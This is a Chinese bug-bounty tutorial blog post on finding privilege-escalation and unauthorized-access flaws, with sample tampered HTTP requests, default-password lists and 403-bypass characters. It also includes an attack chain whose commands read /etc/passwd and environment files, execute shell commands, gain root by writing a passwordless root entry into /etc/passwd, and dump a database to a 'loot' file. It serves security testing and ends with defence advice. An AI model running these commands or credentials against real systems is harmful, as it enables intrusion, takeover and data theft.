【SRC】基础思路篇10:越权与未授权访问完全指南 文章目录前言一、越权漏洞1. 水平越权参数枚举型越权IDORInsecure Direct Object References删除操作越权业务越权跨房间禁言优惠券共享审核/批改越权2. 垂直越权凭证替换型越权功能对比测试参数类型校验缺失权限提升接口重置密码越权越权修改绑定邮箱3. 逻辑越权跳转路由鉴权业务接口未鉴权同域名站点系统的Cookie共用查询参数越权参数污染修改用户信息的返回值登录凭证重复二、未授权访问1. SSO认证绕过修改响应状态码2. 前端鉴权绕过方法1替换响应内容方法2断点修改参数值方法3本地替换JS文件3. 默认凭据与弱口令Druid监控后台RuoYi框架其他系统4. 端口关联与凭证复用步骤1端口探测步骤2框架识别步骤3凭证复用5. 未授权接口访问Swagger接口文档SpringBoot ActuatorElasticsearchUNO服务6. 403绕过技巧Nginx 403绕过Nginx版本特定绕过7. 页面一闪而过三、攻击链1. Swagger泄露→后台接管攻击链步骤1API入口Fuzz步骤2Swagger利用步骤3弱口令拿低权限步骤4垂直越权测试步骤5权限提升2. UNO未授权→数据库接管攻击链步骤1识别与连接UNO服务步骤2任意文件读写步骤3命令执行与提权步骤4共享目录符号链接攻击步骤5数据库凭据获取与数据导出3. 端口关联→凭证复用→超管权限攻击链步骤1端口探测步骤2弱口令登录步骤3凭证复用步骤4基址提取步骤5认证方式调整四、找接口技巧1. 页面有修改/查看/上线但无删除按钮2. 无权限进入、无突破点的页面3. 前端灰色禁用、权限不足的功能4. FindSomething工具五、实战心得1. 越权测试要耐心2. 前后端鉴权要分离3. 凭证复用很重要4. Swagger是宝藏5. 弱口令无处不在6. 参数类型测试不能少7. 端口关联思维8. 框架知识储备六、结语核心要点回顾学习建议防御建议⚠️本博文所涉安全渗透测试技术、方法及案例仅用于网络安全技术研究与合规性交流旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前必须获得目标网络 / 系统所有者的明确且书面授权严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。前言在SRC漏洞挖掘中越权和未授权访问是最常见也是最危险的漏洞类型。攻击者可以通过越权漏洞访问其他用户的数据或执行超出权限的操作通过未授权访问漏洞无需登录即可访问敏感资源。充分掌握越权和未授权访问的挖掘方法能帮助我们快速发现高价值漏洞。本文将系统性地介绍越权和未授权访问的常见类型、检测方法和实战技巧。一、越权漏洞越权漏洞是指用户在已认证的情况下能够访问或操作超出其权限范围的资源。越权漏洞分为水平越权和垂直越权两种类型。1. 水平越权定义同一级别用户之间的权限绕过即普通用户可以访问其他普通用户的资源。常见场景参数枚举型越权检测方法修改URL或请求体中的用户ID参数尝试访问其他用户的数据。实战示例# 原始请求 GET /api/user/123 HTTP/1.1 # 修改用户ID为其他用户 GET /api/user/456 HTTP/1.1成功结果返回用户456的个人信息包括姓名、手机号、邮箱等。IDORInsecure Direct Object References检测方法直接访问对象的ID无需权限校验。常见参数名userid、uid、idorderid、order_idarticleid、postidfileid、documentid实战示例# 访问自己的订单 GET /api/order/1001 HTTP/1.1 # 尝试访问其他用户的订单 GET /api/order/1002 HTTP/1.1删除操作越权检测方法尝试删除其他用户的资源。实战示例# 删除自己的文章 DELETE /api/article/123 HTTP/1.1 # 尝试删除其他用户的文章 DELETE /api/article/456 HTTP/1.1注意如果参数需要猜测则危害较小可能不收除非是有规律的参数如自增ID。业务越权场景描述在特定业务场景中用户可以执行超出其权限的操作。实战示例跨房间禁言在直播间场景中普通用户可以禁言其他房间的用户。优惠券共享将自己的优惠券分享给他人使用。审核/批改越权学生可以提前获取考试答案或修改批改结果。2. 垂直越权定义低权限用户可以访问或操作高权限用户如管理员的资源。常见场景凭证替换型越权检测方法使用低权限用户的凭证调用高权限接口。实战示例# 管理员接口 POST /api/admin/recycle/config HTTP/1.1 Authorization: Bearer {admin_token} {recycleDays: 1} # 使用普通用户token调用 POST /api/admin/recycle/config HTTP/1.1 Authorization: Bearer {normal_user_token} {recycleDays: 1}成功结果响应成功证明存在垂直越权功能对比测试检测方法注册不同权限的账号对比功能差异抓包分析管理员接口替换凭证测试越权。测试步骤注册管理员和普通用户账号对比功能差异发现管理员特有功能抓包分析管理员操作获取高权限接口使用普通用户凭证调用高权限接口参数类型校验缺失检测方法测试参数的类型边界如将整数改为字符串。实战示例POST /api/admin/recycle/config HTTP/1.1 Content-Type: application/json Authorization: Bearer {normal_user_token} {recycleDays: abc} // 将整数改为字符串结果设置成功用户打开回收站时出现服务器错误500响应回收站功能完全报废。权限提升接口检测方法寻找修改用户权限的接口如SysOperatorRole。实战示例# 找到权限修改接口 GET /api/SysOperatorRole?userId123roleId1 # 修改自己的角色为管理员 GET /api/SysOperatorRole?userId456roleId0成功结果权限修改成功刷新登录后获得管理员权限。重置密码越权检测方法使用自己账号重置密码的请求替换session和userid为其他用户。实战示例# 原始请求重置自己的密码 POST /api/user/resetPassword HTTP/1.1 Cookie: sessionxxx {userId: 123, newPassword: newpass123} # 修改为重置其他用户的密码 POST /api/user/resetPassword HTTP/1.1 Cookie: sessionxxx {userId: 456, newPassword: newpass123}越权修改绑定邮箱检测方法修改别人的绑定邮箱获取验证信息。实战示例# 修改自己的绑定邮箱 POST /api/user/changeEmail HTTP/1.1 Cookie: sessionxxx {email: newexample.com} # 修改为别人的绑定邮箱 POST /api/user/changeEmail HTTP/1.1 Cookie: sessionxxx {userId: 456, email: attackerexample.com}3. 逻辑越权场景描述通过业务逻辑漏洞实现越权访问。跳转路由鉴权业务接口未鉴权检测方法前端路由做了鉴权但后端API接口未做权限校验。实战示例前端路由/admin → 需要管理员权限 后端接口/api/admin/user/list → 未做权限校验 直接调用后端接口即可获取管理员数据同域名站点系统的Cookie共用检测方法不同系统共享Cookie导致跨系统越权。实战示例系统Ahttp://app1.example.com 系统Bhttp://app2.example.com 在系统A登录后Cookie被系统B共享 可以直接访问系统B的管理员页面查询参数越权检测方法修改查询参数获取超出权限的数据。实战示例# 查询特定用户数据 GET /api/user/list?userId10 HTTP/1.1 # 修改参数获取所有数据 GET /api/user/list?userId10X HTTP/1.1 GET /api/user/list?userId0 HTTP/1.1 GET /api/user/list?userId HTTP/1.1参数污染检测方法添加、删除或修改请求参数测试接口行为。实战示例# 原始请求 POST /api/user HTTP/1.1 Content-Type: application/json {username: test, password: 123456} # 添加额外参数 POST /api/user HTTP/1.1 Content-Type: application/json {username: test, password: 123456, role: admin} # 删除参数 POST /api/user HTTP/1.1 Content-Type: application/json {username: test} # 修改参数值 POST /api/user HTTP/1.1 Content-Type: application/json {username: test, password: 123456, isAdmin: true}修改用户信息的返回值检测方法使用BurpSuite的Match and Replace模块修改响应中的用户信息。实战示例原始响应{role: user, isAdmin: false} 修改后{role: admin, isAdmin: true}成功结果前端根据修改后的响应显示管理员界面。登录凭证重复检测方法不同账号登录请求修改返回凭证。实战示例# 用账号A登录 POST /api/login HTTP/1.1 Content-Type: application/json {username: userA, password: passA} # 响应{token: tokenA, userId: 123} # 修改为账号B的信息 # {token: tokenA, userId: 456}二、未授权访问未授权访问是指无需认证或绕过认证即可访问敏感资源。1. SSO认证绕过场景描述系统使用统一认证SSO但通过修改HTTP响应可绕过认证。检测方法修改响应状态码实战示例步骤1访问站点跳转到统一认证页面 步骤2抓包分析发现自动跳转 步骤3修改返回包删除响应中的{} 步骤4成功进入功能点页面前端静态页面 步骤5点击功能点收到401未授权响应 步骤6将401改为200成功获取数据原理分析后端下发的{}是身份票据载体前端JS读取该对象判断登录状态删除响应中的{}后前端JS读取变量不存在跳转判断分支失效将401改为200后前端认为请求成功显示后端返回的真实数据2. 前端鉴权绕过场景描述前端JS代码中判断用户权限但后端未做权限校验。检测方法方法1替换响应内容类型说明示例修改状态码修改401/403为200绕过登录跳转修改响应体修改isAdmin、role等字段伪造管理员身份修改JS代码修改判断逻辑if(e.isLogin)→if(!e.isLogin)实战示例// 找到/api/getUser接口修改返回的role字段{role:0,// 改为管理员角色isAdmin:true}方法2断点修改参数值// 在判断逻辑处打断点// 控制台修改参数user.role0;// 修改用户角色为管理员user.isAdmintrue;// 设置为管理员方法3本地替换JS文件// 下载JS文件修改判断逻辑后本地替换// 浏览器开发者工具→Sources→Overrides3. 默认凭据与弱口令场景描述系统使用默认密码或弱密码可直接登录。常见默认凭据Druid监控后台默认路径/druid/login.html常见弱口令admin / admin admin / 123456 admin / admin123 ruoyi / 123456 ry / 123456RuoYi框架默认路径/login常见弱口令admin / admin123 admin / 123456其他系统常见弱口令组合admin / admin admin / 123456 admin / password root / root root / 123456 user / user test / test4. 端口关联与凭证复用场景描述同一IP的不同端口可能共享用户认证体系可复用凭证。检测方法步骤1端口探测测试同一IP的不同端口寻找凭据共享入口。步骤2框架识别通过接口路径识别技术框架如若依框架。步骤3凭证复用从其他端口获取的凭证尝试在目标系统使用。实战示例目标某高校体测系统端口x 发现admin用户存在但被禁用 相邻端口x-1 - 发现另一套更老旧的登录框 - admin弱密码直接登录成功 - 路径为/prod-api/getinfo判断为若依框架 体测系统登录 - 在体测登录框输入admin - 抓包粘贴从x-1端口获取的Cookie - 成功登录但无任何功能点显示 API接口路径探测 - 从验证码URL提取基址为/xxx - 拼接正确路径/xxx/system/user/list - 使用Bearer Token格式认证 - 成功获取全校学生信息5. 未授权接口访问场景描述某些接口未做权限校验可直接访问。常见未授权接口Swagger接口文档检测路径/swagger-ui.html/v2/api-docs/v3/api-docs泄露信息所有API接口定义、参数格式、数据模型。SpringBoot Actuator检测路径/actuator/env/actuator/trace/actuator/heapdump泄露信息环境变量、数据库连接信息、API密钥、堆内存快照。Elasticsearch检测路径/_cat/indices/_search泄露信息所有索引数据。UNO服务检测路径端口8100危险接口com.sun.star.frame.Desktop- 文件读取com.sun.star.ucb.SimpleFileAccess- 文件系统操作com.sun.star.system.SystemShellExecute- 命令执行6. 403绕过技巧场景描述访问被拒绝403但可通过特殊字符或路径绕过。常见绕过方法Nginx 403绕过特殊路径/;- 添加分号/actuator- 常见Actuator路径//- 双斜杠//;- 双斜杠加分号Nginx版本特定绕过Nginx版本Node.js绕过字符Flask绕过字符Spring Boot绕过字符1.22.0\xA0 (ASCII 160)\x85, \xA0;分号1.21.6\xA0\x85, \xA0;分号1.20.2\xA0, \x09, \x0C\x85, \xA0, \x1F等\x09, ;1.18.0\xA0, \x09, \x0C\x85, \xA0, \x1F等\x09, ;1.16.1\xA0, \x09, \x0C\x85, \xA0, \x1F等\x09, ;URL编码\xA0 → %C2%A0\x09 → %09\x0C → %0C\x85 → %C2%85; → %3B7. 页面一闪而过场景描述打开页面一闪而过后台界面然后跳转到登录页。检测方法使用BurpSuite卡住响应查看是否存在window.location跳转修改或删除跳转代码三、攻击链1. Swagger泄露→后台接管攻击链攻击链概述Swagger泄露 → 弱口令拿低权限 → 垂直越权泄露信息 → 找到权限修改接口 → 权限提升 → 后台接管实操步骤步骤1API入口Fuzz开局登录框 → 找API入口 → onescan递归fuzz → 发现Swagger步骤2Swagger利用HAE提取接口 → ApiHunter自动化测试 → CAA提取参数步骤3弱口令拿低权限二要素认证尝试弱口令 → 成功拿到低权限token步骤4垂直越权测试低权限token跑高权限接口 → 发现信息泄露146个电话步骤5权限提升发现SysOperatorRole接口 → 修改用户角色为管理员 → 刷新登录 → 后台接管2. UNO未授权→数据库接管攻击链攻击链概述UNO未授权暴露 → 任意文件读写 → 命令执行 → 提权root → 共享目录符号链接 → 读取Web配置 → 获取DB凭据 → 数据导出 → 密码恢复 → 双因子绕过实操步骤步骤1识别与连接UNO服务# 编译UNO客户端工具javac-cptools/unojars/libreoffice-7.3.6.jar scripts/UnoRead.java# 连接并读取文件java-cptools/unojars/libreoffice-7.3.6.jar:. UnoRead10.1.X.XX8100file:///etc/passwd步骤2任意文件读写# 枚举目录java-cptools/unojars/libreoffice-7.3.6.jar:. UnoFs10.1.X.XX8100list file:///# 读取文件java-cptools/unojars/libreoffice-7.3.6.jar:. UnoFs10.1.X.XX8100catfile:///proc/self/environ步骤3命令执行与提权# 命令执行java-cptools/unojars/libreoffice-7.3.6.jar:. UnoExec10.1.X.XX8100/bin/sh-c id# 通过/etc/passwd可写提权printf%s\nr00t0::0:0:root:/root:/bin/sh/etc/passwdsur00t0-cid步骤4共享目录符号链接攻击# 创建符号链接ln-sf/opt/tomcat/webapps/ROOT/WEB-INF/classes/proxool.xml /_temp/proxool.xml# 通过Web访问获取配置curlhttp://10.1.X.XX/_temp/proxool.xml步骤5数据库凭据获取与数据导出# 从proxool.xml提取凭据# Host: 10.1.X.XXX, Port: 3306, User: root, Password: XXXXXX# 连接数据库python3 webplus_db.py--queryselect * from T_USER--saveloot/users.json3. 端口关联→凭证复用→超管权限攻击链攻击链概述相邻端口弱口令登录 → 获取若依框架凭证 → 体测系统复用凭证 → 提取验证码基址 → 拼接正确API路径 → 调整认证头格式 → 越权访问用户列表 → 获取超管权限实操步骤步骤1端口探测测试同一IP的相邻端口发现老旧登录框。步骤2弱口令登录admin弱密码直接登录成功 获取CookieJSESSIONIDxxx步骤3凭证复用在体测系统登录框输入admin 抓包粘贴从相邻端口获取的Cookie 成功登录但无任何功能点显示步骤4基址提取从验证码URL提取基址为/xxx 拼接正确路径/xxx/system/user/list步骤5认证方式调整GET /xxx/system/user/list?pageNum1pageSize100 HTTP/1.1 Authorization: Bearer token成功结果获取全校学生信息实现超管权限四、找接口技巧1. 页面有修改/查看/上线但无删除按钮检测方法搜索已有接口前缀/api/page扩大范围/page按语义猜关键字del/delete/remove2. 无权限进入、无突破点的页面检测方法JS里一定藏着后台请求接口可直接调用拿数据搜索接口关键字type:POST、type:GET、post(、get(url:、url:、url:、path:、path:、action?3. 前端灰色禁用、权限不足的功能检测方法从可用接口拿到父路径/v4/scrm/api/crowd/逐级缩小/扩大范围搜索按语义搜新增关键字add/create/new4. FindSomething工具注意事项工具不能全覆盖独立路由、动态拼接接口扫不到工具结果需手工修正把/user/getInfo/:uid改成/user/getInfo/1把/user/getInfo?uid补参数uid1五、实战心得1. 越权测试要耐心参数枚举是越权测试的核心需要耐心地测试各种参数组合。不要因为一次失败就放弃多尝试不同的参数名和参数值。2. 前后端鉴权要分离前端鉴权仅为用户体验后端必须独立鉴权。很多漏洞都是因为后端依赖前端的权限判断导致绕过。3. 凭证复用很重要从一个系统获取的凭证可能在另一个系统中也有效。特别是同一IP的不同端口很可能共享认证体系。4. Swagger是宝藏遇到Swagger就成功了一半它会暴露所有API接口信息包括高权限接口。5. 弱口令无处不在不要以为二要素认证就安全很多系统的二要素认证也存在弱口令问题。6. 参数类型测试不能少测试参数的类型边界整数→字符串等可能触发逻辑漏洞。7. 端口关联思维同一IP的不同端口可能存在关联相邻端口往往共享凭据。8. 框架知识储备熟悉若依、Spring Boot等常见框架的接口路径和默认行为。六、结语越权和未授权访问是SRC漏洞挖掘中最常见也是最危险的漏洞类型。从简单的参数枚举到复杂的攻击链构建每一种类型都可能带来严重的安全风险。本文系统地介绍了越权和未授权访问的常见类型、检测方法和实战技巧希望能帮助读者建立完整的越权与未授权访问挖掘思维体系。核心要点回顾1. 越权测试方法水平越权修改用户ID参数枚举其他用户数据垂直越权用低权限凭证调用高权限接口逻辑越权利用业务逻辑漏洞实现越权2. 未授权访问测试方法SSO绕过修改HTTP响应状态码和响应体前端鉴权绕过断点调试、本地替换JS文件默认凭据尝试常见弱口令组合端口关联测试同一IP的不同端口3. 攻击链思维信息收集→识别突破口→获取凭证→横向移动→权限提升多个漏洞组合可提升危害等级4. 工具链重要性HAE、ApiHunter、CAA等工具能大大提高效率小程序逆向工具WMPFDebugger是必备工具学习建议多实践理论知识需要通过实践来巩固多参与SRC漏洞挖掘多对比注册不同权限的账号进行对比测试多尝试不要轻易放弃多尝试不同的测试方法保持好奇心越权和未授权访问挖掘需要耐心和好奇心防御建议对于防守方来说越权和未授权访问的防护需要从多个层面入手后端强制鉴权每个接口都需要验证用户权限参数校验服务端校验所有参数的有效性和权限最小权限原则用户权限按最小原则分配认证逻辑后端化不要依赖前端的权限判断操作审计所有权限变更操作必须记录审计日志弱口令防护禁用默认账号强制复杂密码策略